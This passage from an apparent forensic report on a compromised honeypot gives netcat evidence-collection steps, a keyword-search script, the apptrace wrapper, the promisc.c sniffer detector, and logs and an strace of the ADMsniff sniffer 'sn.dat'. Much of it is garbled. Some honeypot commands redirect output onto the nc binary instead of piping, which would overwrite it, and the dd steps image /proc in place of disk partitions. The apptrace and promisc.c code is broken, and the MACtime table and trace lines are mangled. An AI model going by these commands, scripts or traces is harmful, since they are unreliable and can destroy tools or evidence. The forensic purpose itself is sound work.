9. Get a list of kernel modules

On firewall
nc -l -p 4000 > /data/data_collection
Netcat should still be running from step 4. If not, use the above line to restart it.

On honeypot
/mnt/cdrom/bin/echo `date` +"lsmod" > /mnt/cdrom/bin/nc 192.168.10.1 4000
/mnt/cdrom/bin/lsmod > /mnt/cdrom/bin/nc 192.168.10.1 4000

10. Listing /proc/modules to see what is listed there

On firewall
nc -l -p 4000 > /data/data_collection
Netcat should still be running from step 4. If not, use the above line to restart it.

On honeypot
/mnt/cdrom/bin/echo `date` +"ls -lart /proc/modules" > /mnt/cdrom/bin/nc 192.168.10.1 4000
/mnt/cdrom/bin/ls -lart /proc/modules > /mnt/cdrom/bin/nc 192.168.10.1 4000

11. Cat proc to record everything that is listed and to get a general overview

On firewall
nc -l -p 4000 > /data/data_collection
Netcat should still be running from step 4. If not, use the above line to restart it.

- On honeypot
  ```bash
  /mnt/cdrom/bin/echo `date`+"ls -alrt /proc" > /mnt/cdrom/bin/nc 192.168.10.1 4000
  /mnt/cdrom/bin/ls -lart /proc > /mnt/cdrom/bin/nc 192.168.10.1 4000
  ```

12. See what kstat lists for kernel modules

- On firewall
  ```bash
  nc -l -p 4000 > /data/data_collection
  ```
  Netcat should still be running from step 4. If not, use the above line to restart it.

- On honeypot
  ```bash
  /mnt/cdrom/bin/echo `date`+"kstat -s" > /mnt/cdrom/bin/nc 192.168.10.1 4000
  /mnt/cdrom/bin/kstat -s > /mnt/cdrom/bin/nc 192.168.10.1 4000
  /mnt/cdrom/bin/echo `date`+"kstat -P" > /mnt/cdrom/bin/nc 192.168.10.1 4000
  /mnt/cdrom/bin/kstat -P > /mnt/cdrom/bin/nc 192.168.10.1 4000
  ```

13. To get an dd image of the filesystem

- On firewall
  ```bash
  nc -l -p 3003 | dd of=/tmp/honeypot_hda1_dd.img
  ```

- On honeypot
  ```bash
  /mnt/cdrom/bin/dd if=/proc | /mnt/cdrom/bin/nc 192.168.10.1 3003
  ```

- On firewall
  ```bash
  nc -l -p 3004 | dd of=/tmp/honeypot_hda2_dd.img
  ```

- On honeypot
  ```bash
  /mnt/cdrom/bin/dd if=/proc | /mnt/cdrom/bin/nc 192.168.10.1 3004
  ```

- On firewall
  ```bash
  nc -l -p 3005 | dd of=/tmp/honeypot_hda5_dd.img
  ```

- On honeypot
  ```bash
  /mnt/cdrom/bin/dd if=/proc | /mnt/cdrom/bin/nc 192.168.10.1 3005
  ```
Appendix 9 – Keyword Search

#!/bin/bash

#############################################################
##
## Script: keyword
## Written By: Keven Murphy
##
## Description: Searches recursively through a filesystem, checking all the files
## for a list of keywords.
##
## Syntax: ./keyword
##
## MNT_DEAD=/mnt/hp
## KEYWORDS_FILE=/data/forensics/morgue/keywords
## DATE=`date +%m%d%Y_%T`
## FILE_LIST=keyword_filelist_$DATE
## OUTPUT_DIR=/data/forensics/morgue/keywords_search
## OUTPUT_FILE=kws_$DATE

mkdir $OUTPUT_DIR

find $MNT_DEAD -print > $OUTPUT_DIR/$FILE_LIST
for filelist in `cat $OUTPUT_DIR/$FILE_LIST`; do
    echo "Checking file $filelist" | tee -a $OUTPUT_DIR/$OUTPUT_FILE

    if [ $filelist != "/mnt/hp/dev/initctl" ]; then
        fgrep -a -n -A 1 --color=auto -o -f $KEYWORDS_FILE $filelist >> $OUTPUT_DIR/$OUTPUT_FILE
    fi

done
Appendix 10 – Apptrace script

Source: http://www.stearns.org/apptrace/apptrace.v0.1.0
#!/bin/bash
#Copyright 2000, William Stearns <wstearns@pobox.com>
#See ftp://ftp.stearns.org/pub/apptrace/ or
#http://www.pobox.com/~wstearns for updates.
#Released under the GPL.
#Requires bash and strace.
#Based on an idea from David S. Miller <davem@redhat.com>:
#       mv /path/to/${PROGRAM} /path/to/${PROGRAM}.ORIG
#       edit /path/to/${PROGRAM}
#       #!/bin/sh
#       strace -f -o /tmp/${PROGRAM}.trace /path/to/${PROGRAM}.ORIG $*
#Thanks, Dave!

case $0 in
  *apptrace)
    #User wants to monitor some app, listed as sole command line parameter.
    if [ -f "$1" ]; then
      if [ ! -f "$1.orig" ]; then
        mv -f $1 $1.orig                                                        #Make this script a
        ln -sf $0 $1
      else
        echo $1.orig already exists! Did you already run $0 $1 ?
        echo No need to run it again, it will continue to work until
        echo explicitly stopped. To stop this monitoring, use:
        echo mv -f /path/to/some/app/to/monitor.orig
        /path/to/some/app/to/monitor
      fi
    else
      echo $1.orig already exists! Did you already run $0 $1 ?
      echo No need to run it again, it will continue to work until
      echo explicitly stopped. To stop this monitoring, use:
      echo mv -f /path/to/some/app/to/monitor.orig
    fi
  esac
fi
if ! type -path strace >/dev/null ; then
  echo Please Note!
  echo The "strace" program is not present on your system, please
  install.
  fi
else
  echo Usage: $0 /path/to/some/app/to/monitor
  echo " This wrapper script will monitor that application, whether"
  echo called from the command line, inetd, or some other app, and save
  echo time of last run, command line parameters given to the app,
  echo and strace output from running that app in $HOME/apptrace
  echo or /tmp/apptrace . It will continue to produce this output
  echo every time the app is called until explicitly stopped. To
  echo stop this monitoring, use:
echo mv -f /path/to/some/app/to/monitor.orig /path/to/some/app/to/monitor

    This will not correctly run setuid apps - see the strace

echo man page for information on why.

fi

;;

*)

    #This app is being called to monitor some other app.
    #Do not echo anything to stdout or stderr.
    if [ -d "$HOME" ]; then
        #Make a directory to hold information
        TRACEDIR="$HOME/apptrace"
    else
        TRACEDIR="/tmp/apptrace"
    fi

    if [ ! -d "$TRACEDIR" ]; then
        mkdir --parents $TRACEDIR >/dev/null 2>/dev/null
    fi

    APPNAME=${0##*/}  #Drop all path components

    touch $TRACEDIR/$APPNAME-last-run 2>/dev/null  #Record when it last ran

    echo `date` - $0 $* >>$TRACEDIR/$APPNAME-parameters  #Record command line parameters used ( = $? doesn't work, it probably gets strace's return code)
    if type -path strace >/dev/null ; then
        strace -f -o $TRACEDIR/$APPNAME.$$trace $0.orig $*
        #Save full strace output to a unique file
    else
        echo The "$strace" program is not present on your system, please install.
        >&$TRACEDIR/$APPNAME.trace
        $0.orig $*
    fi

;;;
esac
Appendix 11 – Promisc.c


// $Id: promisc.c,v null 1997/03/09 10:35:58 trevorl Exp $
// promisc.c: test devices for sniffers and device monitors.
//
// Copyright (C) 1997 Trevor F. Linton (blind@xmission.com)
//
// Created for Linux based loosely upon linux ioctl controls.
// ioctl() is used to detect different flags set on devices used
// on your system.
//
// gcc -o sys_test promisc.c

#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#if defined (__linux__) 
#include <linux/if.h>
#else
#include <net/if.h>
#endif
#define size(p) (sizeof(p))

int dev_flags=0,
    device_flags=0,
    set_look_all=0;

int main(int argc, char **argv) { 
    struct ifreq ifreq, *ifr;
    struct ifconf ifc;
    char buf[BUFSIZ], *cp, *cplim;

    if(argc <= 1)
        set_look_all++;
    if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
        fprintf(stderr, "An error occured establiashing while establishing a socket\n");
        perror("socket");
        exit(1);
    }
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;

if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) {
    perror("SIOCGIFCONF");
    exit(1);
}
ifr = ifc.ifc_req;
cplim=buf+ifc.ifc_len;
for(cp = buf; cp < cplim;
    cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr))
{
    ifr = (struct ifreq *)cp;

    if(argc[1])
        if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all)
            continue;

    ifreq = *ifr;
    if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0)
    {
        fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags): %s\n", ifr->ifr_name,strerror(errno));
        continue;
    }

    device_flags=0; device_flags = ifreq.ifr_flags;
    fprintf(stdout, "%s: ", ifreq.ifr_name);
    if((device_flags & IFF_PROMISC) != 0)
        fprintf(stdout, "Promiscuous: Sniffer detected.\n");
    else
        fprintf(stdout, "Not-Promiscuous: No Sniffers detected.\n");

    if(!set_look_all)
        exit(0); // We're finished..
    else
        continue; // Go onto next device..
}
if(!set_look_all)
    fprintf(stdout, "%s: Unknown device.\n", argv[1]);
                        // Device not found..
}
Appendix 12 – Output from the script command

[Sun Jul 28 05:06:40 root@localhost /etc/init.d]
$ cd /mnt/sys
[Sun Jul 28 05:06:43 root@localhost /mnt/sys]
$ ls -al
# [00mtotal 3537800
drwxrwxrwx  2 root    root  4096 Jul 28 16:52 #[01;34m.#[00m
drwxr-xr-x  5 root    root  4096 Jul 28 16:42 #[01;34m..#[00m
-rw-r--r--  1 nfsnobod nfsnobod  3250 Jul 27 18:30 #[00mbak#[00m
-rw-r--r--  1 root    root  282 Jul 27 21:07 #[00mmtfput.log#[00m
-rw-r--r--  1 nfsnobod nfsnobod  51010 Jul 28 17:06 #[00mout#[00m
-rw-r--r--  1 nfsnobod nfsnobod 3619090432 Jul 27 17:56 #[00mmredhat7.3#[00m
-rw-r--r--  1 nfsnobod nfsnobod 1433 Jul 27 20:42 #[00mThe_l0gz#[00m
# [m [Sun Jul 28 05:06:44 root@localhost /mnt/sys]
$ e# #/mnt/floppy/sn.dat eth0 80 DEBUG &
[1] 1243
[Sun Jul 28 05:07:05 root@localhost /mnt/sys]
$ telnet 172.168# #.142.129
Trying 172.16.142.129...
telnet: connect to address 172.16.142.129: Connection refused
[Sun Jul 28 05:07:17 root@localhost /mnt/sys]
$ tADMsniff priv 1.0 in libpcap we trust!
credits: ADM, mel , ^pretty^ for the mail she sent me
elnet 172.16.142.1
Trying 172.16.142.1...
Connected to 172.16.142.1.
Escape character is '^]'.
Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
login: test
Password:
Last login: Sat Jul 27 20:42:29 from 172.16.142.129
[test@dragonmound test]$ exit
logout
# [H# [JConnection closed by foreign host.
[Sun Jul 28 05:07:35 root@localhost /mnt/sys]
$ ps -ef | grep sn
root  1243  1195  0   17:07 pts/0  00:00:00 /mnt/floppy/sn.dat eth0 80 DEBUG
root  1247  1195  0   17:07 pts/0  00:00:00 grep sn
[Sun Jul 28 05:07:38 root@localhost /mnt/sys]
$ kill 1243
[Sun Jul 28 05:07:43 root@localhost /mnt/sys]
$ ps -ef | grep sn.dat
[1]+ Terminated /mnt/floppy/sn.dat eth0 80 DEBUG
[Sun Jul 28 05:07:47 root@localhost /mnt/sys]
$ ps -ef | grep sn.dat
## Appendix 13 – RedHat 7.3 image for sn.dat MACtime analysis Output

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>User</th>
<th>Group</th>
<th>File Path</th>
<th>Permissions</th>
<th>Owner</th>
<th>Group</th>
<th>Size</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jul 28</td>
<td>02:17:07</td>
<td>root</td>
<td>root</td>
<td>/export/data3/binary/sn.dat/lib/libresolv-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>46117 .a. drwxr-x-x root root /export/data3/binary/sn.dat/lib/libresolv-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_nisplus-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>11174 .a. drwxr-x-x root root /export/data3/binary/sn.dat/lib/libnss_nisplus-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libutil-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>15   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_nisplus.so.2 -&gt; libnss_nisplus-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>19   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libnss_nisplus.so.2 -&gt; libnss_nisplus-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>23   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_nisplus.so.2 -&gt; libnss_nisplus-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>78828 .a. -rwxr-x-x root root /export/data3/binary/sn.dat/lib/libnss_nisplus.so.2 -&gt; libnss_nisplus-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>18   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>89424 .a. -rwxr-x-x root root /export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>43   .a. -rwxr-x-x root root /export/data3/binary/sn.dat/lib/libnss_dns.so.2 -&gt; libnss_dns-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/usr/bin/telnet</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>19891</td>
<td>m.c -rwxr-x-x root root /export/data3/binary/sn.dat/usr/bin/telnet</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/etc/services</td>
<td>-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>17   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/etc/services</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libresolv.so.2   -&gt; libresolv-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>16051 .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libresolv.so.2   -&gt; libresolv-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libnss_dns-2.2.5.so</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>17   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libnss_dns-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>290511.a. -rwxr-x-x root root /export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>16051 .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td>-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>16   .a. lrwxrwxrx root root /export/data3/binary/sn.dat/lib/libncurses.so.5  -&gt; libncurses.so.5.2</td>
<td></td>
</tr>
</tbody>
</table>
147 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/etc/hosts
1580 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/usr/share/terminfo/l/linux
Jul 28 02 17:07:53 48736 .a. -rwxr-xr-x  root  root  
/export/data3/binary/sn.dat/lib/libproc.so.2.0.7
1750 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/etc/nsswitch.conf
1203 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/etc/passwd
811 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/etc/localtime
21 .a. lrwxrwxrwx  root  root  
/export/data3/binary/sn.dat/lib/libnss_files.so.2 ->
/libnss_files-2.2.5.so
515 .a. -rw-r--r--  root  root  
/export/data3/binary/sn.dat/etc/group
63304 .a. -r-xr-xr-x  root  root  
/export/data3/binary/sn.dat/bin/ps
45415 .a. -rwxr-xr-x  root  root  
/export/data3/binary/sn.dat/lib/libnss_files-2.2.5.so
114076 .a. -rwxr-xr-x  root  root  
/export/data3/binary/sn.dat/bin/grep
Appendix 14 – Apptrace of sn.dat

command line used: ./sn.dat.orig eth0 30 debug

10630 execve("./sn.dat.orig", ["./sn.dat.orig", "eth0", "30", "debug"], [/* 31 vars */]) = 0
10630 fcntl64(0, F_GETFD) = 0
10630 fcntl64(1, F_GETFD) = 0
10630 fcntl64(2, F_GETFD) = 0
10630 uname({sys="Linux", node="localhost.localdomain", ...}) = 0
10630 geteuid32() = 0
10630 getuid32() = 0
10630 getegid32() = 0
10630 getgid32() = 0
10630 brk(0) = 0x80ab488
10630 brk(0x80ab4a8) = 0x80ab4a8
10630 brk(0x80ac000) = 0x80ac000
10630 socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3
10630 bind(3, {sin_family=AF_INET, sin_port=htons(25972), sin_addr=inet_addr("104.48.0.0")}, 16) = 0
10630 ioctl(3, 0x8927, 0xbffff7d0) = 0
10630 ioctl(3, 0x8921, 0xbffff7d0) = 0
10630 ioctl(3, 0x8913, 0xbffff7d0) = 0
10630 ioctl(3, 0x8914, 0xbffff7d0) = 0
10630 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
10630 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
10630 write(1, "ADMsniff priv 1.0 in libpcap we"..., 41) = 41
10630 write(1, "credits: ADM, mel , ^pretty^ for"..., 54) = 54
10630 brk(0x80ad000) = 0x80ad000
10630 open("The_l0gz", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0<\0\311@\0@\6x@\254"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 74
10630 ioctl(3, 0x8906, 0xbffff7d0) = 0
10630 brk(0x80ae000) = 0x80ae000
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "\0PV\312\234\10\10\0E\20\0<\0\6306\31"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 74
10630 ioctl(3, 0x8906, 0xbffff7d0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004\M\312@\0@\6xG"...,}
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0OM\313\@\0\6\x+\254"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 93
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\0E\20\0004\342,\0\6\343."..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\0E\20\0\342-\0\6\343."..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 78
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\0E\20\0004\314\0\6\xE"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\0E\20\0\342-\0\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 105
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0\275M\316\0\6\x?"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 203
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 69
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0y\3420@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 69
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0007M\320@\0@\6x>"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 135
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280822
10630 time(NULL) = 1027280822
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0005M\322@\0@\6x<"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\323@\0@\6x<"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0005M\324@\0@\6x<"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\324@\0@\6x<"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0005M\3423@\0@\6\343"..., 10630 time(NULL) = 1027280822
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\325@\0@\6x<"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\326@\0@\6x:"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\330@\0@\6x8"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\332@\0@\6x5"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280824
10630 time(NULL) = 1027280824
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0006\3426@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\331@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280823
10630 time(NULL) = 1027280823
10630 recvfrom(3, "\0PV\300\0\1\0PV\300\0\1\0E\20\0005\3425@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 65
1564, 0, \{\text{sin\_family=AF\_UNIX, path=}'eth0'\}, [18]\} = 68
10630 ioctl(3, 0x8906, 0xbfff7c0) = 0
10630 time(NULL) = 1027280824
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\333@\0@\6x6"...,
1564, 0, \{\text{sin\_family=AF\_UNIX, path=}'eth0'\}, [18]\} = 66
10630 ioctl(3, 0x8906, 0xbfff7c0) = 0
10630 time(NULL) = 1027280824
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\334@\0@\6x5"...,
1564, 0, \{\text{sin\_family=AF\_UNIX, path=}'eth0'\}, [18]\} = 76
10630 ioctl(3, 0x8906, 0xbfff7c0) = 0
10630 time(NULL) = 1027280824
10630 time(NULL) = 1027280824
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0005M\335@\0@\6x3"...,
1564, 0, \{\text{sin\_family=AF\_UNIX, path=}'eth0'\}, [18]\} = 66
10630 ioctl(3, 0x8906, 0xbfff7c0) = 0
10630 time(NULL) = 1027280824
10630 time(NULL) = 1027280824
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0005M\336@\0@\6x2"...,
1564, 0, \{\text{sin\_family=AF\_UNIX, path=}'eth0'\}, [18]\} = 67
10630 ioctl(3, 0x8906, 0xbfff7c0) = 0
10630 time(NULL) = 1027280827
